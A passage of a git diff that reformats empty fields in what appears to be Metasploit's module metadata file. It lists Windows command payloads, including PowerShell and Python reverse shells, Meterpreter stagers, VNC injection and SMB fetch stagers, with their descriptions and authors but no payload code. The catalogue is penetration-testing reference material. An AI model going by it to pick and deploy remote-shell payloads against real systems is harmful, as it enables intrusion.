PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234205,8 +208226,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234219,9 +208239,7 @@ "payload_cmd/windows/powershell/x64/shell/reverse_tcp_uuid": { "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234231,9 +208249,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234247,8 +208263,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234261,9 +208276,7 @@ "payload_cmd/windows/powershell/x64/shell_bind_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/powershell/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234272,9 +208285,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234288,8 +208299,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234300,9 +208310,7 @@ "payload_cmd/windows/powershell/x64/shell_reverse_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/powershell/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234311,9 +208319,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234327,8 +208333,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234339,9 +208344,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234367,8 +208370,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234381,9 +208383,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234410,8 +208410,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234424,9 +208423,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234453,8 +208450,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234467,9 +208463,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_tcp": { "name": "Powershell Exec, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234495,8 +208489,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234509,9 +208502,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234542,8 +208533,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234556,9 +208546,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234585,8 +208573,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234599,9 +208586,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_http": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234628,8 +208613,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234642,9 +208626,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_https": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234673,8 +208655,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234687,9 +208668,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp": { "name": "Powershell Exec, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234715,8 +208694,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234729,9 +208707,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234762,8 +208738,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234776,9 +208751,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234805,8 +208778,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234819,9 +208791,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttp": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234848,8 +208818,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234862,9 +208831,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttps": { "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234891,8 +208858,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234905,9 +208871,7 @@ "payload_cmd/windows/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", "fullname": "payload/cmd/windows/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234932,8 +208896,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -234942,9 +208905,7 @@ "payload_cmd/windows/powershell_reverse_tcp": { "name": "Windows Interactive Powershell Session, Reverse TCP", "fullname": "payload/cmd/windows/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234969,8 +208930,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -234979,9 +208939,7 @@ "payload_cmd/windows/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", "fullname": "payload/cmd/windows/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235006,8 +208964,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -235016,9 +208973,7 @@ "payload_cmd/windows/python/exec": { "name": "Python Exec, Python Execute Command", "fullname": "payload/cmd/windows/python/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235026,9 +208981,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nExecute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235042,8 +208995,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235054,9 +209006,7 @@ "payload_cmd/windows/python/meterpreter/bind_tcp": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235064,9 +209014,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235080,8 +209028,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235094,9 +209041,7 @@ "payload_cmd/windows/python/meterpreter/bind_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235105,9 +209050,7 @@ "OJ Reeves" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235121,8 +209064,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235135,9 +209077,7 @@ "payload_cmd/windows/python/meterpreter/reverse_http": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", "fullname": "payload/cmd/windows/python/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235145,9 +209085,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235161,8 +209099,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235175,9 +209112,7 @@ "payload_cmd/windows/python/meterpreter/reverse_https": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", "fullname": "payload/cmd/windows/python/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235185,9 +209120,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235201,8 +209134,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235215,9 +209147,7 @@ "payload_cmd/windows/python/meterpreter/reverse_tcp": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235225,9 +209155,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235241,8 +209169,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235255,9 +209182,7 @@ "payload_cmd/windows/python/meterpreter/reverse_tcp_ssl": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235267,9 +209192,7 @@ "RageLtMan" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235283,8 +209206,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235297,9 +209219,7 @@ "payload_cmd/windows/python/meterpreter/reverse_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235308,9 +209228,7 @@ "OJ Reeves" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235324,8 +209242,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235338,9 +209255,7 @@ "payload_cmd/windows/python/meterpreter_bind_tcp": { "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/python/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235348,9 +209263,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235364,8 +209277,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235376,9 +209288,7 @@ "payload_cmd/windows/python/meterpreter_reverse_http": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", "fullname": "payload/cmd/windows/python/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235386,9 +209296,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235402,8 +209310,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235414,9 +209321,7 @@ "payload_cmd/windows/python/meterpreter_reverse_https": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", "fullname": "payload/cmd/windows/python/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235424,9 +209329,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235440,8 +209343,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235452,9 +209354,7 @@ "payload_cmd/windows/python/meterpreter_reverse_tcp": { "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/python/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235462,9 +209362,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235478,8 +209376,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235490,9 +209387,7 @@ "payload_cmd/windows/python/pingback_bind_tcp": { "name": "Python Exec, Python Pingback, Bind TCP (via python)", "fullname": "payload/cmd/windows/python/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235501,9 +209396,7 @@ "asoto-r7" ], "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235517,8 +209410,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235529,9 +209421,7 @@ "payload_cmd/windows/python/pingback_reverse_tcp": { "name": "Python Exec, Python Pingback, Reverse TCP (via python)", "fullname": "payload/cmd/windows/python/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235540,9 +209430,7 @@ "asoto-r7" ], "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235556,8 +209444,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235568,9 +209455,7 @@ "payload_cmd/windows/python/shell_bind_tcp": { "name": "Python Exec, Command Shell, Bind TCP (via python)", "fullname": "payload/cmd/windows/python/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235579,9 +209464,7 @@ "mumbai" ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235595,8 +209478,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235607,9 +209489,7 @@ "payload_cmd/windows/python/shell_reverse_sctp": { "name": "Python Exec, Command Shell, Reverse SCTP (via python)", "fullname": "payload/cmd/windows/python/shell_reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235618,9 +209498,7 @@ "RageLtMan " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235634,8 +209512,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235646,9 +209523,7 @@ "payload_cmd/windows/python/shell_reverse_tcp": { "name": "Python Exec, Command Shell, Reverse TCP (via python)", "fullname": "payload/cmd/windows/python/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235657,9 +209532,7 @@ "Ben Campbell " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235673,8 +209546,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235685,9 +209557,7 @@ "payload_cmd/windows/python/shell_reverse_tcp_ssl": { "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", "fullname": "payload/cmd/windows/python/shell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235696,9 +209566,7 @@ "RageLtMan " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235712,8 +209580,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235724,9 +209591,7 @@ "payload_cmd/windows/python/shell_reverse_udp": { "name": "Python Exec, Command Shell, Reverse UDP (via python)", "fullname": "payload/cmd/windows/python/shell_reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235735,9 +209600,7 @@ "RageLtMan " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235751,8 +209614,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235763,9 +209625,7 @@ "payload_cmd/windows/reverse_lua": { "name": "Windows Command Shell, Reverse TCP (via Lua)", "fullname": "payload/cmd/windows/reverse_lua", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235773,9 +209633,7 @@ "xistence " ], "description": "Creates an interactive shell via Lua", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235789,8 +209647,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -235799,9 +209656,7 @@ "payload_cmd/windows/reverse_perl": { "name": "Windows Command, Double Reverse TCP Connection (via Perl)", "fullname": "payload/cmd/windows/reverse_perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235810,9 +209665,7 @@ "aushack " ], "description": "Creates an interactive shell via perl", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235826,8 +209679,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -235836,9 +209688,7 @@ "payload_cmd/windows/reverse_powershell": { "name": "Windows Command Shell, Reverse TCP (via Powershell)", "fullname": "payload/cmd/windows/reverse_powershell", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235863,8 +209713,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -235873,9 +209722,7 @@ "payload_cmd/windows/reverse_ruby": { "name": "Windows Command Shell, Reverse TCP (via Ruby)", "fullname": "payload/cmd/windows/reverse_ruby", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235883,9 +209730,7 @@ "kris katterjohn " ], "description": "Connect back and create a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235899,8 +209744,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -235909,9 +209753,7 @@ "payload_cmd/windows/smb/x64/custom/bind_ipv6_tcp": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235921,9 +209763,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235937,8 +209777,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235951,9 +209790,7 @@ "payload_cmd/windows/smb/x64/custom/bind_ipv6_tcp_uuid": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/smb/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235964,9 +209801,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235980,8 +209815,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235994,9 +209828,7 @@ "payload_cmd/windows/smb/x64/custom/bind_named_pipe": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/smb/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236006,9 +209838,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236022,8 +209852,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236036,9 +209865,7 @@ "payload_cmd/windows/smb/x64/custom/bind_tcp": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236048,9 +209875,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -236064,8 +209889,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236078,9 +209902,7 @@ "payload_cmd/windows/smb/x64/custom/bind_tcp_rc4": { "name": "SMB Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236095,9 +209917,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an SMB 